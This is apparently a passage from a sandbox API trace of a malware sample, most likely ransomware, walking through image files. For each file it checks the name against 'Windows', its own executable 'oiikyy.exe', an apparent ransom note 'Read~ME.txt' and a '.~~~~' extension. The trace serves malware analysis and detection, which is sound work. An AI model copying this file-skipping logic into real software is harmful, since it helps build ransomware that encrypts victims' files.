	[0086.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.045] GetCurrentThreadId () returned 0x618
	[0086.045] RtlWakeConditionVariable () returned 0x365f48
	[0086.045] lstrcmpiW (lpString1="J0304853.WMF", lpString2="Windows") returned -1
	[0086.045] lstrcmpW (lpString1="J0304853.WMF", lpString2="oiikyy.exe") returned -1
	[0086.045] StrStrW (lpFirst="J0304853.WMF", lpSrch=".~~~~") returned 0x0
	[0086.045] lstrcmpW (lpString1="J0304853.WMF", lpString2="Read~ME.txt") returned -1
	[0086.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.045] GetCurrentThreadId () returned 0x618
	[0086.045] RtlWakeConditionVariable () returned 0x365f48
	[0086.045] lstrcmpiW (lpString1="J0304861.WMF", lpString2="Windows") returned -1
	[0086.045] lstrcmpW (lpString1="J0304861.WMF", lpString2="oiikyy.exe") returned -1
	[0086.045] StrStrW (lpFirst="J0304861.WMF", lpSrch=".~~~~") returned 0x0
	[0086.045] lstrcmpW (lpString1="J0304861.WMF", lpString2="Read~ME.txt") returned -1
	[0086.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.045] GetCurrentThreadId () returned 0x618
	[0086.045] RtlWakeConditionVariable () returned 0x365f48
	[0086.045] lstrcmpiW (lpString1="J0304875.WMF", lpString2="Windows") returned -1
	[0086.046] lstrcmpW (lpString1="J0304875.WMF", lpString2="oiikyy.exe") returned -1
	[0086.046] StrStrW (lpFirst="J0304875.WMF", lpSrch=".~~~~") returned 0x0
	[0086.046] lstrcmpW (lpString1="J0304875.WMF", lpString2="Read~ME.txt") returned -1
	[0086.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.046] GetCurrentThreadId () returned 0x618
	[0086.046] RtlWakeConditionVariable () returned 0x365f48
	[0086.046] lstrcmpiW (lpString1="J0309480.JPG", lpString2="Windows") returned -1
	[0086.046] lstrcmpW (lpString1="J0309480.JPG", lpString2="oiikyy.exe") returned -1
	[0086.046] StrStrW (lpFirst="J0309480.JPG", lpSrch=".~~~~") returned 0x0
	[0086.046] lstrcmpW (lpString1="J0309480.JPG", lpString2="Read~ME.txt") returned -1
	[0086.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.046] GetCurrentThreadId () returned 0x618
	[0086.046] RtlWakeConditionVariable () returned 0x365f48
	[0086.046] lstrcmpiW (lpString1="J0309567.JPG", lpString2="Windows") returned -1
	[0086.046] lstrcmpW (lpString1="J0309567.JPG", lpString2="oiikyy.exe") returned -1
	[0086.046] StrStrW (lpFirst="J0309567.JPG", lpSrch=".~~~~") returned 0x0
	[0086.046] lstrcmpW (lpString1="J0309567.JPG", lpString2="Read~ME.txt") returned -1
	[0086.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.046] GetCurrentThreadId () returned 0x618
	[0086.046] RtlWakeConditionVariable () returned 0x365f48
	[0086.046] lstrcmpiW (lpString1="J0309585.JPG", lpString2="Windows") returned -1
	[0086.046] lstrcmpW (lpString1="J0309585.JPG", lpString2="oiikyy.exe") returned -1
	[0086.046] StrStrW (lpFirst="J0309585.JPG", lpSrch=".~~~~") returned 0x0
	[0086.046] lstrcmpW (lpString1="J0309585.JPG", lpString2="Read~ME.txt") returned -1
	[0086.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.047] GetCurrentThreadId () returned 0x618
	[0086.047] RtlWakeConditionVariable () returned 0x365f48
	[0086.047] lstrcmpiW (lpString1="J0309598.JPG", lpString2="Windows") returned -1
	[0086.047] lstrcmpW (lpString1="J0309598.JPG", lpString2="oiikyy.exe") returned -1
	[0086.047] StrStrW (lpFirst="J0309598.JPG", lpSrch=".~~~~") returned 0x0
	[0086.047] lstrcmpW (lpString1="J0309598.JPG", lpString2="Read~ME.txt") returned -1
	[0086.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.047] GetCurrentThreadId () returned 0x618
	[0086.047] RtlWakeConditionVariable () returned 0x365f48
	[0086.047] lstrcmpiW (lpString1="J0309664.JPG", lpString2="Windows") returned -1
	[0086.047] lstrcmpW (lpString1="J0309664.JPG", lpString2="oiikyy.exe") returned -1
	[0086.047] StrStrW (lpFirst="J0309664.JPG", lpSrch=".~~~~") returned 0x0
	[0086.047] lstrcmpW (lpString1="J0309664.JPG", lpString2="Read~ME.txt") returned -1
	[0086.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.047] GetCurrentThreadId () returned 0x618
	[0086.047] RtlWakeConditionVariable () returned 0x365f48
	[0086.047] lstrcmpiW (lpString1="J0309705.JPG", lpString2="Windows") returned -1
	[0086.047] lstrcmpW (lpString1="J0309705.JPG", lpString2="oiikyy.exe") returned -1
	[0086.047] StrStrW (lpFirst="J0309705.JPG", lpSrch=".~~~~") returned 0x0
	[0086.047] lstrcmpW (lpString1="J0309705.JPG", lpString2="Read~ME.txt") returned -1
	[0086.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.048] GetCurrentThreadId () returned 0x618
	[0086.048] RtlWakeConditionVariable () returned 0x365f48
	[0086.048] lstrcmpiW (lpString1="J0309902.WMF", lpString2="Windows") returned -1
	[0086.048] lstrcmpW (lpString1="J0309902.WMF", lpString2="oiikyy.exe") returned -1
	[0086.048] StrStrW (lpFirst="J0309902.WMF", lpSrch=".~~~~") returned 0x0
	[0086.048] lstrcmpW (lpString1="J0309902.WMF", lpString2="Read~ME.txt") returned -1
	[0086.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.048] GetCurrentThreadId () returned 0x618
	[0086.048] RtlWakeConditionVariable () returned 0x365f48
	[0086.048] lstrcmpiW (lpString1="J0309904.WMF", lpString2="Windows") returned -1
	[0086.048] lstrcmpW (lpString1="J0309904.WMF", lpString2="oiikyy.exe") returned -1
	[0086.048] StrStrW (lpFirst="J0309904.WMF", lpSrch=".~~~~") returned 0x0
	[0086.048] lstrcmpW (lpString1="J0309904.WMF", lpString2="Read~ME.txt") returned -1
	[0086.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.048] GetCurrentThreadId () returned 0x618
	[0086.048] RtlWakeConditionVariable () returned 0x365f48
	[0086.048] lstrcmpiW (lpString1="J0309920.WMF", lpString2="Windows") returned -1
	[0086.048] lstrcmpW (lpString1="J0309920.WMF", lpString2="oiikyy.exe") returned -1
	[0086.048] StrStrW (lpFirst="J0309920.WMF", lpSrch=".~~~~") returned 0x0
	[0086.048] lstrcmpW (lpString1="J0309920.WMF", lpString2="Read~ME.txt") returned -1
	[0086.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.048] GetCurrentThreadId () returned 0x618
	[0086.048] RtlWakeConditionVariable () returned 0x365f48
	[0086.049] lstrcmpiW (lpString1="J0313896.JPG", lpString2="Windows") returned -1
	[0086.049] lstrcmpW (lpString1="J0313896.JPG", lpString2="oiikyy.exe") returned -1
	[0086.049] StrStrW (lpFirst="J0313896.JPG", lpSrch=".~~~~") returned 0x0
	[0086.049] lstrcmpW (lpString1="J0313896.JPG", lpString2="Read~ME.txt") returned -1
	[0086.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.049] GetCurrentThreadId () returned 0x618
	[0086.049] RtlWakeConditionVariable () returned 0x365f48
	[0086.049] lstrcmpiW (lpString1="J0313965.JPG", lpString2="Windows") returned -1
	[0086.049] lstrcmpW (lpString1="J0313965.JPG", lpString2="oiikyy.exe") returned -1
	[0086.049] StrStrW (lpFirst="J0313965.JPG", lpSrch=".~~~~") returned 0x0
	[0086.049] lstrcmpW (lpString1="J0313965.JPG", lpString2="Read~ME.txt") returned -1
	[0086.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.049] GetCurrentThreadId () returned 0x618
	[0086.049] RtlWakeConditionVariable () returned 0x365f48
	[0086.049] lstrcmpiW (lpString1="J0313970.JPG", lpString2="Windows") returned -1
	[0086.049] lstrcmpW (lpString1="J0313970.JPG", lpString2="oiikyy.exe") returned -1
	[0086.049] StrStrW (lpFirst="J0313970.JPG", lpSrch=".~~~~") returned 0x0
	[0086.049] lstrcmpW (lpString1="J0313970.JPG", lpString2="Read~ME.txt") returned -1
	[0086.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.049] GetCurrentThreadId () returned 0x618
	[0086.049] RtlWakeConditionVariable () returned 0x365f48
	[0086.049] lstrcmpiW (lpString1="J0313974.JPG", lpString2="Windows") returned -1
	[0086.049] lstrcmpW (lpString1="J0313974.JPG", lpString2="oiikyy.exe") returned -1
	[0086.049] StrStrW (lpFirst="J0313974.JPG", lpSrch=".~~~~") returned 0x0
	[0086.050] lstrcmpW (lpString1="J0313974.JPG", lpString2="Read~ME.txt") returned -1
	[0086.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.050] GetCurrentThreadId () returned 0x618
	[0086.050] RtlWakeConditionVariable () returned 0x365f48
	[0086.050] lstrcmpiW (lpString1="J0314068.JPG", lpString2="Windows") returned -1
	[0086.050] lstrcmpW (lpString1="J0314068.JPG", lpString2="oiikyy.exe") returned -1
	[0086.050] StrStrW (lpFirst="J0314068.JPG", lpSrch=".~~~~") returned 0x0
	[0086.050] lstrcmpW (lpString1="J0314068.JPG", lpString2="Read~ME.txt") returned -1
	[0086.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.050] GetCurrentThreadId () returned 0x618
	[0086.050] RtlWakeConditionVariable () returned 0x365f48
	[0086.050] lstrcmpiW (lpString1="J0315580.JPG", lpString2="Windows") returned -1
	[0086.050] lstrcmpW (lpString1="J0315580.JPG", lpString2="oiikyy.exe") returned -1
	[0086.050] StrStrW (lpFirst="J0315580.JPG", lpSrch=".~~~~") returned 0x0
	[0086.050] lstrcmpW (lpString1="J0315580.JPG", lpString2="Read~ME.txt") returned -1
	[0086.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.050] GetCurrentThreadId () returned 0x618
	[0086.050] RtlWakeConditionVariable () returned 0x365f48
	[0086.050] lstrcmpiW (lpString1="J0315612.JPG", lpString2="Windows") returned -1
	[0086.050] lstrcmpW (lpString1="J0315612.JPG", lpString2="oiikyy.exe") returned -1
	[0086.050] StrStrW (lpFirst="J0315612.JPG", lpSrch=".~~~~") returned 0x0
	[0086.050] lstrcmpW (lpString1="J0315612.JPG", lpString2="Read~ME.txt") returned -1
	[0086.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.051] GetCurrentThreadId () returned 0x618
	[0086.051] RtlWakeConditionVariable () returned 0x365f48
	[0086.051] lstrcmpiW (lpString1="J0318448.WMF", lpString2="Windows") returned -1
	[0086.051] lstrcmpW (lpString1="J0318448.WMF", lpString2="oiikyy.exe") returned -1
	[0086.051] StrStrW (lpFirst="J0318448.WMF", lpSrch=".~~~~") returned 0x0
	[0086.051] lstrcmpW (lpString1="J0318448.WMF", lpString2="Read~ME.txt") returned -1
	[0086.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.051] GetCurrentThreadId () returned 0x618
	[0086.051] RtlWakeConditionVariable () returned 0x365f48
	[0086.051] lstrcmpiW (lpString1="J0318804.WMF", lpString2="Windows") returned -1
	[0086.051] lstrcmpW (lpString1="J0318804.WMF", lpString2="oiikyy.exe") returned -1
	[0086.051] StrStrW (lpFirst="J0318804.WMF", lpSrch=".~~~~") returned 0x0
	[0086.051] lstrcmpW (lpString1="J0318804.WMF", lpString2="Read~ME.txt") returned -1
	[0086.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.051] GetCurrentThreadId () returned 0x618
	[0086.051] RtlWakeConditionVariable () returned 0x365f48
	[0086.051] lstrcmpiW (lpString1="J0318810.WMF", lpString2="Windows") returned -1
	[0086.051] lstrcmpW (lpString1="J0318810.WMF", lpString2="oiikyy.exe") returned -1
	[0086.052] StrStrW (lpFirst="J0318810.WMF", lpSrch=".~~~~") returned 0x0
	[0086.052] lstrcmpW (lpString1="J0318810.WMF", lpString2="Read~ME.txt") returned -1
	[0086.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.052] GetCurrentThreadId () returned 0x618
	[0086.052] RtlWakeConditionVariable () returned 0x365f48
	[0086.052] lstrcmpiW (lpString1="J0321179.JPG", lpString2="Windows") returned -1
	[0086.052] lstrcmpW (lpString1="J0321179.JPG", lpString2="oiikyy.exe") returned -1
	[0086.052] StrStrW (lpFirst="J0321179.JPG", lpSrch=".~~~~") returned 0x0
	[0086.052] lstrcmpW (lpString1="J0321179.JPG", lpString2="Read~ME.txt") returned -1
	[0086.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.052] GetCurrentThreadId () returned 0x618
	[0086.052] RtlWakeConditionVariable () returned 0x365f48
	[0086.052] lstrcmpiW (lpString1="J0324694.WMF", lpString2="Windows") returned -1
	[0086.052] lstrcmpW (lpString1="J0324694.WMF", lpString2="oiikyy.exe") returned -1
	[0086.052] StrStrW (lpFirst="J0324694.WMF", lpSrch=".~~~~") returned 0x0
	[0086.052] lstrcmpW (lpString1="J0324694.WMF", lpString2="Read~ME.txt") returned -1
	[0086.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.052] GetCurrentThreadId () returned 0x618
	[0086.052] RtlWakeConditionVariable () returned 0x365f48
	[0086.052] lstrcmpiW (lpString1="J0324704.WMF", lpString2="Windows") returned -1
	[0086.052] lstrcmpW (lpString1="J0324704.WMF", lpString2="oiikyy.exe") returned -1
	[0086.052] StrStrW (lpFirst="J0324704.WMF", lpSrch=".~~~~") returned 0x0
	[0086.052] lstrcmpW (lpString1="J0324704.WMF", lpString2="Read~ME.txt") returned -1
	[0086.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.053] GetCurrentThreadId () returned 0x618
	[0086.053] RtlWakeConditionVariable () returned 0x365f48
	[0086.053] lstrcmpiW (lpString1="J0337280.JPG", lpString2="Windows") returned -1
	[0086.053] lstrcmpW (lpString1="J0337280.JPG", lpString2="oiikyy.exe") returned -1
	[0086.053] StrStrW (lpFirst="J0337280.JPG", lpSrch=".~~~~") returned 0x0
	[0086.053] lstrcmpW (lpString1="J0337280.JPG", lpString2="Read~ME.txt") returned -1
	[0086.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.053] GetCurrentThreadId () returned 0x618
	[0086.053] RtlWakeConditionVariable () returned 0x365f48
	[0086.053] lstrcmpiW (lpString1="J0341328.JPG", lpString2="Windows") returned -1
	[0086.053] lstrcmpW (lpString1="J0341328.JPG", lpString2="oiikyy.exe") returned -1
	[0086.053] StrStrW (lpFirst="J0341328.JPG", lpSrch=".~~~~") returned 0x0
	[0086.053] lstrcmpW (lpString1="J0341328.JPG", lpString2="Read~ME.txt") returned -1
	[0086.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.053] GetCurrentThreadId () returned 0x618
	[0086.053] RtlWakeConditionVariable () returned 0x365f48
	[0086.149] lstrcmpiW (lpString1="J0341344.JPG", lpString2="Windows") returned -1
	[0086.149] lstrcmpW (lpString1="J0341344.JPG", lpString2="oiikyy.exe") returned -1
	[0086.149] StrStrW (lpFirst="J0341344.JPG", lpSrch=".~~~~") returned 0x0
	[0086.150] lstrcmpW (lpString1="J0341344.JPG", lpString2="Read~ME.txt") returned -1
	[0086.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.150] GetCurrentThreadId () returned 0x618
	[0086.150] RtlWakeConditionVariable () returned 0x365f48
	[0086.150] lstrcmpiW (lpString1="J0341439.JPG", lpString2="Windows") returned -1
	[0086.150] lstrcmpW (lpString1="J0341439.JPG", lpString2="oiikyy.exe") returned -1
	[0086.150] StrStrW (lpFirst="J0341439.JPG", lpSrch=".~~~~") returned 0x0
	[0086.150] lstrcmpW (lpString1="J0341439.JPG", lpString2="Read~ME.txt") returned -1
	[0086.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.150] GetCurrentThreadId () returned 0x618
	[0086.150] RtlWakeConditionVariable () returned 0x365f48
	[0086.150] lstrcmpiW (lpString1="J0341447.JPG", lpString2="Windows") returned -1
	[0086.150] lstrcmpW (lpString1="J0341447.JPG", lpString2="oiikyy.exe") returned -1
	[0086.150] StrStrW (lpFirst="J0341447.JPG", lpSrch=".~~~~") returned 0x0
	[0086.150] lstrcmpW (lpString1="J0341447.JPG", lpString2="Read~ME.txt") returned -1
	[0086.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.150] GetCurrentThreadId () returned 0x618
	[0086.150] RtlWakeConditionVariable () returned 0x365f48
	[0086.150] lstrcmpiW (lpString1="J0341448.JPG", lpString2="Windows") returned -1
	[0086.150] lstrcmpW (lpString1="J0341448.JPG", lpString2="oiikyy.exe") returned -1
	[0086.151] StrStrW (lpFirst="J0341448.JPG", lpSrch=".~~~~") returned 0x0
	[0086.151] lstrcmpW (lpString1="J0341448.JPG", lpString2="Read~ME.txt") returned -1
	[0086.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.151] GetCurrentThreadId () returned 0x618
	[0086.151] RtlWakeConditionVariable () returned 0x365f48
	[0086.151] lstrcmpiW (lpString1="J0341455.JPG", lpString2="Windows") returned -1
	[0086.151] lstrcmpW (lpString1="J0341455.JPG", lpString2="oiikyy.exe") returned -1
	[0086.151] StrStrW (lpFirst="J0341455.JPG", lpSrch=".~~~~") returned 0x0
	[0086.151] lstrcmpW (lpString1="J0341455.JPG", lpString2="Read~ME.txt") returned -1
	[0086.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.151] GetCurrentThreadId () returned 0x618
	[0086.151] RtlWakeConditionVariable () returned 0x365f48
	[0086.151] lstrcmpiW (lpString1="J0341475.JPG", lpString2="Windows") returned -1
	[0086.151] lstrcmpW (lpString1="J0341475.JPG", lpString2="oiikyy.exe") returned -1
	[0086.151] StrStrW (lpFirst="J0341475.JPG", lpSrch=".~~~~") returned 0x0
	[0086.151] lstrcmpW (lpString1="J0341475.JPG", lpString2="Read~ME.txt") returned -1
	[0086.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.151] GetCurrentThreadId () returned 0x618
	[0086.151] RtlWakeConditionVariable () returned 0x365f48
	[0086.151] lstrcmpiW (lpString1="J0341499.JPG", lpString2="Windows") returned -1
	[0086.151] lstrcmpW (lpString1="J0341499.JPG", lpString2="oiikyy.exe") returned -1
	[0086.152] StrStrW (lpFirst="J0341499.JPG", lpSrch=".~~~~") returned 0x0
	[0086.152] lstrcmpW (lpString1="J0341499.JPG", lpString2="Read~ME.txt") returned -1
	[0086.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.152] GetCurrentThreadId () returned 0x618
	[0086.152] RtlWakeConditionVariable () returned 0x365f48
	[0086.152] lstrcmpiW (lpString1="J0341534.JPG", lpString2="Windows") returned -1
	[0086.152] lstrcmpW (lpString1="J0341534.JPG", lpString2="oiikyy.exe") returned -1
	[0086.152] StrStrW (lpFirst="J0341534.JPG", lpSrch=".~~~~") returned 0x0
	[0086.152] lstrcmpW (lpString1="J0341534.JPG", lpString2="Read~ME.txt") returned -1
	[0086.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.152] GetCurrentThreadId () returned 0x618
	[0086.152] RtlWakeConditionVariable () returned 0x365f48
	[0086.152] lstrcmpiW (lpString1="J0341551.JPG", lpString2="Windows") returned -1
	[0086.152] lstrcmpW (lpString1="J0341551.JPG", lpString2="oiikyy.exe") returned -1
	[0086.152] StrStrW (lpFirst="J0341551.JPG", lpSrch=".~~~~") returned 0x0
	[0086.152] lstrcmpW (lpString1="J0341551.JPG", lpString2="Read~ME.txt") returned -1
	[0086.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.152] GetCurrentThreadId () returned 0x618
	[0086.152] RtlWakeConditionVariable () returned 0x365f48
	[0086.152] lstrcmpiW (lpString1="J0341554.JPG", lpString2="Windows") returned -1
	[0086.152] lstrcmpW (lpString1="J0341554.JPG", lpString2="oiikyy.exe") returned -1
	[0086.152] StrStrW (lpFirst="J0341554.JPG", lpSrch=".~~~~") returned 0x0
	[0086.153] lstrcmpW (lpString1="J0341554.JPG", lpString2="Read~ME.txt") returned -1
	[0086.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.153] GetCurrentThreadId () returned 0x618
	[0086.153] RtlWakeConditionVariable () returned 0x365f48
	[0086.153] lstrcmpiW (lpString1="J0341557.JPG", lpString2="Windows") returned -1
	[0086.153] lstrcmpW (lpString1="J0341557.JPG", lpString2="oiikyy.exe") returned -1
	[0086.153] StrStrW (lpFirst="J0341557.JPG", lpSrch=".~~~~") returned 0x0
	[0086.153] lstrcmpW (lpString1="J0341557.JPG", lpString2="Read~ME.txt") returned -1
	[0086.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.153] GetCurrentThreadId () returned 0x618
	[0086.153] RtlWakeConditionVariable () returned 0x365f48
	[0086.153] lstrcmpiW (lpString1="J0341559.JPG", lpString2="Windows") returned -1
	[0086.153] lstrcmpW (lpString1="J0341559.JPG", lpString2="oiikyy.exe") returned -1
	[0086.153] StrStrW (lpFirst="J0341559.JPG", lpSrch=".~~~~") returned 0x0
	[0086.153] lstrcmpW (lpString1="J0341559.JPG", lpString2="Read~ME.txt") returned -1
	[0086.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.153] GetCurrentThreadId () returned 0x618
	[0086.153] RtlWakeConditionVariable () returned 0x365f48
	[0086.153] lstrcmpiW (lpString1="J0341561.JPG", lpString2="Windows") returned -1
	[0086.153] lstrcmpW (lpString1="J0341561.JPG", lpString2="oiikyy.exe") returned -1
	[0086.153] StrStrW (lpFirst="J0341561.JPG", lpSrch=".~~~~") returned 0x0
	[0086.153] lstrcmpW (lpString1="J0341561.JPG", lpString2="Read~ME.txt") returned -1
	[0086.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.154] GetCurrentThreadId () returned 0x618
	[0086.154] RtlWakeConditionVariable () returned 0x365f48
	[0086.154] lstrcmpiW (lpString1="J0341634.JPG", lpString2="Windows") returned -1
	[0086.154] lstrcmpW (lpString1="J0341634.JPG", lpString2="oiikyy.exe") returned -1
	[0086.154] StrStrW (lpFirst="J0341634.JPG", lpSrch=".~~~~") returned 0x0
	[0086.154] lstrcmpW (lpString1="J0341634.JPG", lpString2="Read~ME.txt") returned -1
	[0086.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.154] GetCurrentThreadId () returned 0x618
	[0086.154] RtlWakeConditionVariable () returned 0x365f48
	[0086.154] lstrcmpiW (lpString1="J0341636.JPG", lpString2="Windows") returned -1
	[0086.154] lstrcmpW (lpString1="J0341636.JPG", lpString2="oiikyy.exe") returned -1
	[0086.154] StrStrW (lpFirst="J0341636.JPG", lpSrch=".~~~~") returned 0x0
	[0086.154] lstrcmpW (lpString1="J0341636.JPG", lpString2="Read~ME.txt") returned -1
	[0086.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.154] GetCurrentThreadId () returned 0x618
	[0086.154] RtlWakeConditionVariable () returned 0x365f48
	[0086.154] lstrcmpiW (lpString1="J0341645.JPG", lpString2="Windows") returned -1
	[0086.154] lstrcmpW (lpString1="J0341645.JPG", lpString2="oiikyy.exe") returned -1
	[0086.154] StrStrW (lpFirst="J0341645.JPG", lpSrch=".~~~~") returned 0x0
	[0086.154] lstrcmpW (lpString1="J0341645.JPG", lpString2="Read~ME.txt") returned -1
	[0086.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.154] GetCurrentThreadId () returned 0x618
	[0086.155] RtlWakeConditionVariable () returned 0x365f48
	[0086.155] lstrcmpiW (lpString1="J0341653.JPG", lpString2="Windows") returned -1
	[0086.155] lstrcmpW (lpString1="J0341653.JPG", lpString2="oiikyy.exe") returned -1
	[0086.155] StrStrW (lpFirst="J0341653.JPG", lpSrch=".~~~~") returned 0x0
	[0086.155] lstrcmpW (lpString1="J0341653.JPG", lpString2="Read~ME.txt") returned -1
	[0086.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.155] GetCurrentThreadId () returned 0x618
	[0086.155] RtlWakeConditionVariable () returned 0x365f48
	[0086.155] lstrcmpiW (lpString1="J0341654.JPG", lpString2="Windows") returned -1
	[0086.155] lstrcmpW (lpString1="J0341654.JPG", lpString2="oiikyy.exe") returned -1
	[0086.155] StrStrW (lpFirst="J0341654.JPG", lpSrch=".~~~~") returned 0x0
	[0086.155] lstrcmpW (lpString1="J0341654.JPG", lpString2="Read~ME.txt") returned -1
	[0086.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.155] GetCurrentThreadId () returned 0x618
	[0086.155] RtlWakeConditionVariable () returned 0x365f48
	[0086.155] lstrcmpiW (lpString1="J0341738.JPG", lpString2="Windows") returned -1
	[0086.155] lstrcmpW (lpString1="J0341738.JPG", lpString2="oiikyy.exe") returned -1
	[0086.155] StrStrW (lpFirst="J0341738.JPG", lpSrch=".~~~~") returned 0x0
	[0086.155] lstrcmpW (lpString1="J0341738.JPG", lpString2="Read~ME.txt") returned -1
	[0086.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.155] GetCurrentThreadId () returned 0x618
	[0086.156] RtlWakeConditionVariable () returned 0x365f48
	[0086.156] lstrcmpiW (lpString1="J0341742.JPG", lpString2="Windows") returned -1
	[0086.156] lstrcmpW (lpString1="J0341742.JPG", lpString2="oiikyy.exe") returned -1
	[0086.156] StrStrW (lpFirst="J0341742.JPG", lpSrch=".~~~~") returned 0x0
	[0086.156] lstrcmpW (lpString1="J0341742.JPG", lpString2="Read~ME.txt") returned -1
	[0086.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.156] GetCurrentThreadId () returned 0x618
	[0086.156] RtlWakeConditionVariable () returned 0x365f48
	[0086.156] lstrcmpiW (lpString1="J0382836.JPG", lpString2="Windows") returned -1
	[0086.156] lstrcmpW (lpString1="J0382836.JPG", lpString2="oiikyy.exe") returned -1
	[0086.156] StrStrW (lpFirst="J0382836.JPG", lpSrch=".~~~~") returned 0x0
	[0086.156] lstrcmpW (lpString1="J0382836.JPG", lpString2="Read~ME.txt") returned -1
	[0086.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.156] GetCurrentThreadId () returned 0x618
	[0086.156] RtlWakeConditionVariable () returned 0x365f48
	[0086.156] lstrcmpiW (lpString1="J0382925.JPG", lpString2="Windows") returned -1
	[0086.156] lstrcmpW (lpString1="J0382925.JPG", lpString2="oiikyy.exe") returned -1
	[0086.156] StrStrW (lpFirst="J0382925.JPG", lpSrch=".~~~~") returned 0x0
	[0086.156] lstrcmpW (lpString1="J0382925.JPG", lpString2="Read~ME.txt") returned -1
	[0086.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.156] GetCurrentThreadId () returned 0x618
	[0086.157] RtlWakeConditionVariable () returned 0x365f48
	[0086.157] lstrcmpiW (lpString1="J0382926.JPG", lpString2="Windows") returned -1
	[0086.157] lstrcmpW (lpString1="J0382926.JPG", lpString2="oiikyy.exe") returned -1
	[0086.157] StrStrW (lpFirst="J0382926.JPG", lpSrch=".~~~~") returned 0x0
	[0086.157] lstrcmpW (lpString1="J0382926.JPG", lpString2="Read~ME.txt") returned -1
	[0086.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.157] GetCurrentThreadId () returned 0x618
	[0086.157] RtlWakeConditionVariable () returned 0x365f48
	[0086.157] lstrcmpiW (lpString1="J0382927.JPG", lpString2="Windows") returned -1
